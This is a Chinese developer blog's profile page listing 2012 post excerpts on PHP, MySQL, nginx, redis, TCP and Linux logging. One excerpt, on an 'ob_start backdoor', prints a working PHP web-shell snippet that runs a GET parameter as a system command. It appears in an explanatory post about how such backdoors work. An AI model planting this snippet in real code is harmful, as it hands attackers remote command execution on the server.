自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(15)
  • 收藏
  • 关注

原创 php EventManager Module

介绍参考zf2的EventManager,结合实际项目中的需要写了一个简易的EventManager,主要功能有:订阅者模式;拦截器;事件驱动具体概念就不介绍了,先来看看模块中的几个类或接口。EventManager 类EventManager是核心模块,主要负责为监听事件,添加拦截器,触发事件,下面看一个例子:$em = new EventManager();$

2012-09-28 07:37:05 1111

原创 PHP SPL 介绍

最近在看zend framework2,发现zf2使用了spl,所以记录一下笔记,介绍一下SPL中常用的接口和类。简介SPLSPL是Standard PHP Library(PHP标准库)的缩写。根据官方定义,它是“a collection of interfaces and classes that are meant to solve standard problems”。

2012-09-25 18:47:38 3479

转载 PHP 杂谈《重构-改善既有代码的设计》之四 简化条件表达式

思维导图点击下图,查看大图。介绍条件逻辑有可能十分复杂,因此本章提供一些重构的手法,专门用来简化它们。全文简述(你可直接跳过下面的内容)  核心重构:Decompose Conditional——分离”转辙逻辑“(switching logic)和”操作细节“(details)分离。  多处测试有相同结果:Consolidate Cond

2012-09-18 11:11:04 1285

转载 PHP 杂谈《重构-改善既有代码的设计》之三 重新组织数据

思维导图介绍承接上文的PHP 杂谈《重构-改善既有代码的设计》之 重新组织你的函数继续重构方面的内容。这章主要针对数据的重构。1、争论的声音——直接访问Field还是通过函数(Accessor)访问Field2.修改Array为Object:当你看到一个Array很像一个数据结构,你可以使用Replace Array with O

2012-09-18 11:00:25 737

转载 PHP 杂谈《重构-改善既有代码的设计》之二 对象之间搬移特性

思维导图索引:#Move_Method(搬移函数)#Move_Field (搬移值域)#Extract_Class (提炼类)#Inline_Class (将类内联化,就是把当前的类合并到其他类中)#Hide_Delegate (隐藏委托关系)#Remove_Middle_Man ( 移除中间人)#Introduce_Foreign_Method (

2012-09-17 22:29:01 952

转载 PHP 杂谈《重构-改善既有代码的设计》之一 重新组织你的函数

思维导图点击下图,可以看大图。专业术语我们毕竟是用英文字母编码,所以用一些英语单词,更能显示出我们的专业性。以下的英文单词,你如果掌握了,与其他coder交流的时候会更直接,更专业。“*”表示文中经常提到的inline:内联function:函数*method:方法finely grained:细粒度的rena

2012-09-17 13:50:16 1389

原创 mysql配置中的一些重要参数

虽然运维同事会对mysql做最优配置,但我们也需要知掌握mysql配置中对性能影响比较大的一些配置项。max_connectionsMySql的最大连接数,如果服务器的并发连接请求量比较大,建议调高此值,以增加并行连接数量,当然这建立在机器能支撑的情况下,因为如果连接数越多,MySql会为每个连接提供连接缓冲区,就会开销越多的内存,连接数太大,服务器消耗的内存越多,以至于影响服务器性能

2012-09-16 22:28:22 9159 1

原创 hash和btree索引的区别

这两天有个很强烈的感觉就是自己在一些特别的情况下还是hold不住,脑子容易放空或者说一下子不知道怎么去分析问题了,比如,问“hash和btree索引的区别”,这很难吗,只要掌握了这两种数据结构稍加分析就能得出答案,结果是一下子不知道从何说起。进入正题吧,这两者有啥区别。1. hash索引查找数据基本上能一次定位数据,当然有大量碰撞的话性能也会下降。而btree索引就得在节点上挨着查找了,很明显

2012-09-13 22:23:14 16178 1

原创 tcp 三次握手和四次挥手

tcp断开时的四次挥手都给忘了,重新温习一遍吧。TCP三次握手所谓的三次握手就是要建立一个tcp连接需要在客户端和服务器端之间进行三次通信,大概的连接过程如下:1.客户端首先发起连接,也就是第一次握手,处于SYN_SENT状态;2.服务器端收到SYS 数包,立即发送ACK 应答,并发送自己的SYN(第二次握手),状态被置为SYN_RECEIVED;3.客户端接收到服务器

2012-09-13 15:14:57 1329

原创 php ob_start 后门

原文地址:http://cutt.com/article/1521598558原文中给出了ob_start的后门例子,代码如下:<?php$cmd = 'system';ob_start($cmd);echo "$_GET[a]";ob_end_flush();?>然后浏览器中的效果就是:ob_start()的参数如果是常见的命令执行类函数(system,exec,popen

2012-09-13 11:16:16 2529 1

原创 Nginx Push Stream Module 介绍

用途nginx的Push Stream Module使用http技术来实现连接管道,在项目里主要用于即时消息的推送,比如聊天功能。Push Stream Module主要采用pub/sub模式来管理长连接,用户可以申请连接通道,通道建立订阅该通道,消息推送者可以向连接通道发送消息,这样订阅该通道的所有用户都可以接收到该消息。安装方法1:# clone the pro

2012-09-08 19:43:00 14783

原创 nginx 负载均衡和反向代理

负载均衡将用户的请求均匀的或者按照一定的优先级分配到一组服务器中的一台上,而接收到请求的服务器独立的处理请求并返回。负载均衡技术主要用于扩展后端服务的性能。反向代理代理服务器将接收到的用户请求转发给内部服务器,再将内部服务器返回的结果返回给用户,此时代理服务器就充当一个服务器的角色。实例在配置文件里写上如下的代码:upstream backend { server

2012-09-08 15:02:06 12603

原创 redis 介绍

介绍Redis 是一个开源的使用ANSI C 语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value 数据库,并提供多种语言的API。数据类型作为Key-value 型数据库,Redis 提供了键(Key)和键值(Value)的映射关系。但是,除了常规的数值或字符串,Redis 的键值还可以是以下形式之一:Lists (列表)Sets (集合)Sorted set

2012-09-04 21:55:57 1249

原创 php 5.4 新增功能

在PHP 5.4中,首先是修复了多达100多处的bug,并且在内存及性能优化上做的更好了,而且去掉了一些之前版本的方法,比如register_globals,magic_quotes,safe_mode等,而且要注意的是,PHP 5.4中,默认的编码方式已经改变为UTF-8了,这很有利于开发者开发多语言的版本应用。trait首先来介绍下PHP 5.4中新加入的功能Trait,这里可以简单理

2012-09-04 09:41:01 1295

原创 linux syslogd服务

介绍syslog是一种工业标准的协议,可用来记录应用程序或者设备的日志,日志一般都存储在/var/log目录下。可以通过查看日志记录,随时掌握系统状况。日志是通过syslogd这个进程记录系统有关事件记录,也可以记录应用程序运作事件。通过适当的配置,我们还可以实现运行syslog协议的机器间通信,通过分析这些网络行为日志,藉以追踪掌握与设备和网络有关的状况。配置文件syslog依据两个

2012-09-02 17:28:03 20482 1

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除